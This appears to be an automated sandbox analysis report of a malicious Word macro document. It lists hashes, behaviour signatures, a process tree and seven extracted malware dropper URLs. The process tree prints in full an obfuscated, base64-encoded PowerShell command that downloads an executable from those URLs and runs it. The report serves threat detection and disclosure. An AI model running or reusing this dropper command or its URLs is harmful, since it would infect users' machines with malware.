Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 11:13

General

  • Target

    E2-20200929_131800.doc

  • Size

    189KB

  • MD5

    1c9581bba07a6b44af152d88143df41f

  • SHA1

    53b6d0e69dafc40e57e39cc38aedbee6c9c7fce2

  • SHA256

    a1ff4c3cc94952016f96e7696b9d0eff572e92076bc8f88bab00ff2dc752a676

  • SHA512

    ae628bfaea788e796f7daa016f53fb5d6c873590bf936be149fc914ead4148b609491d07183f58a42d579451e387d6240cf7ea5e277fe4bddc9a32fdbfc7976d

  • SSDEEP

    3072:dA9ov+mLIX7wzt0HHDnwjacRHvvvvZ18gEmX:Sat0TwDR38gEmX

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://techiweek.com/wp-includes/FW6/

exe.dropper

https://ravi-tools.com/js/1/

exe.dropper

https://providedigital.com/wp-admin/Igvi3l/

exe.dropper

https://nghiencauca.com/wp-includes/BOInu4E/

exe.dropper

http://jietuo66.com/hwqsv/oC/

exe.dropper

https://oklatu.com/wp-admin/i/

exe.dropper

https://blog.thejobstack.com/pmloibg/M/

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E2-20200929_131800.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2836
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3016
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABSAHYAYgB1ADkAMABnAD0AKAAnAEoAJwArACgAJwByACcAKwAnADgAYQBkAHUAJwApACsAJwAzACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAEUAUgBQAFIAbwBmAEkAbABFAFwAZgAyAGMANAB4AHQAawBcAHkAcQBfAGkAYgB4AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAUgBgAGkAdABZAGAAUAByAE8AVABPAGAAYwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAnACsAJwAsACAAJwApACsAKAAnAHQAbABzACcAKwAnADEAMQAsACAAJwArACcAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEIAcwBtAHcAYgBiAHQAIAA9ACAAKAAnAFgAYgAnACsAKAAnAHUAJwArACcAcQBrACcAKQArACgAJwBsACcAKwAnAGYAegBvACcAKQApADsAJABCAGQAYQBvAGEAcABjAD0AKAAnAFkAJwArACcAcgAnACsAKAAnAF8AXwAnACsAJwBfAGoAdQAnACkAKQA7ACQARgB6ADIAXwB0AGEAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFcAJwArACcAbwA1AEYAJwApACsAKAAnADIAYwAnACsAJwA0ACcAKwAnAHgAdABrACcAKQArACcAVwBvACcAKwAoACcANQBZAHEAXwAnACsAJwBpAGIAeAAnACkAKwAoACcAcABXAG8AJwArACcANQAnACkAKQAuACIAUgBlAGAAUABsAEEAQwBFACIAKAAoACcAVwAnACsAJwBvADUAJwApACwAJwBcACcAKQApACsAJABCAHMAbQB3AGIAYgB0ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAGcAeABqAGcAbgB6AD0AKAAnAEoAYQAnACsAJwBjAF8AJwArACgAJwAyACcAKwAnAG4AcAAnACkAKQA7ACQASgA0AG4AagBpAHoAOQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgBXAEUAYgBDAGwASQBFAG4AdAA7ACQAWQBfAHQAMABzAHEAZwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AJwApACsAJwB0ACcAKwAoACcAZQBjACcAKwAnAGgAaQB3AGUAZQBrACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGkAbgBjACcAKwAnAGwAdQBkACcAKQArACgAJwBlAHMALwBGAFcANgAnACsAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvACcAKwAoACcAcgAnACsAJwBhAHYAJwApACsAKAAnAGkAJwArACcALQB0AG8AbwBsAHMAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwBqAHMALwAxACcAKQArACcALwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwBzADoALwAvACcAKQArACgAJwBwAHIAbwAnACsAJwB2AGkAJwApACsAJwBkACcAKwAoACcAZQBkAGkAJwArACcAZwAnACkAKwAoACcAaQB0AGEAbAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhAGQAbQBpACcAKwAnAG4AJwArACcALwBJAGcAdgBpACcAKwAnADMAJwArACcAbAAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAKAAnAHMAOgAnACsAJwAvACcAKQArACgAJwAvAG4AJwArACcAZwAnACkAKwAnAGgAaQAnACsAKAAnAGUAbgBjACcAKwAnAGEAdQBjAGEALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQBpAG4AJwArACcAYwAnACsAJwBsACcAKQArACgAJwB1AGQAJwArACcAZQAnACkAKwAnAHMALwAnACsAJwBCAE8AJwArACgAJwBJAG4AdQAnACsAJwA0AEUALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AJwArACgAJwBqACcAKwAnAGkAJwArACcAZQB0AHUAbwA2ADYALgBjAG8AJwArACcAbQAvAGgAJwApACsAKAAnAHcAJwArACcAcQBzAHYALwBvACcAKQArACgAJwBDAC8AJwArACcAKgAnACkAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBvAGsAbABhAHQAJwArACcAdQAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAbQBpAG4ALwAnACkAKwAoACcAaQAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBiAGwAJwArACcAbwBnAC4AJwApACsAKAAnAHQAaABlAGoAbwBiAHMAdAAnACsAJwBhACcAKQArACcAYwAnACsAKAAnAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAnAHAAJwArACgAJwBtAGwAJwArACcAbwBpACcAKQArACcAYgAnACsAKAAnAGcAJwArACcALwBNACcAKQArACcALwAnACkALgAiAHMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABxADgAYwA4AF8AcgA9ACgAJwBZACcAKwAnADMAJwArACgAJwB4AGwAJwArACcAOAA4AGMAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABYAHAAMAAzAGcAbQBlACAAaQBuACAAJABZAF8AdAAwAHMAcQBnACkAewB0AHIAeQB7ACQASgA0AG4AagBpAHoAOQAuACIARABgAG8AYABXAG4ATABvAGAAQQBkAGYAaQBMAGUAIgAoACQAWABwADAAMwBnAG0AZQAsACAAJABGAHoAMgBfAHQAYQB3ACkAOwAkAFcAZgA3AF8AYwBmAG0APQAoACgAJwBLADgAYgAnACsAJwBfACcAKQArACcAbQAnACsAJwBkAHYAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAegAyAF8AdABhAHcAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADEAMAAwADMAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQARgB6ADIAXwB0AGEAdwApADsAJABRADUAdABuAHIAaABxAD0AKAAnAEQAJwArACcAbQBvACcAKwAoACcAMgAnACsAJwBuAGgAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAVQBkAHYAcwBxAGwAYQA9ACgAJwBGAHkAJwArACgAJwBhACcAKwAnADAAcgAnACkAKwAnAGYANQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAagBrAGMAdAA5AG8APQAoACcATAAnACsAKAAnAGoAOAA0ACcAKwAnADkAOQAnACsAJwBiACcAKQApAA==
      1⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:536

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/536-52-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

      Filesize

      2.9MB

    • memory/536-53-0x0000000001E10000-0x0000000001E18000-memory.dmp

      Filesize

      32KB

    • memory/2836-15-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-14-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-30-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-7-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-9-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-13-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-12-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-10-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-11-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-8-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-28-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-17-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-25-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-24-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-22-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-23-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-21-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-20-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-19-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-16-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-5-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-0-0x000000002F361000-0x000000002F362000-memory.dmp

      Filesize

      4KB

    • memory/2836-6-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-36-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-41-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-45-0x00000000718AD000-0x00000000718B8000-memory.dmp

      Filesize

      44KB

    • memory/2836-46-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-44-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-40-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-39-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-38-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-37-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-33-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-32-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-31-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-2-0x00000000718AD000-0x00000000718B8000-memory.dmp

      Filesize

      44KB

    • memory/2836-29-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2836-54-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-55-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-56-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2836-57-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB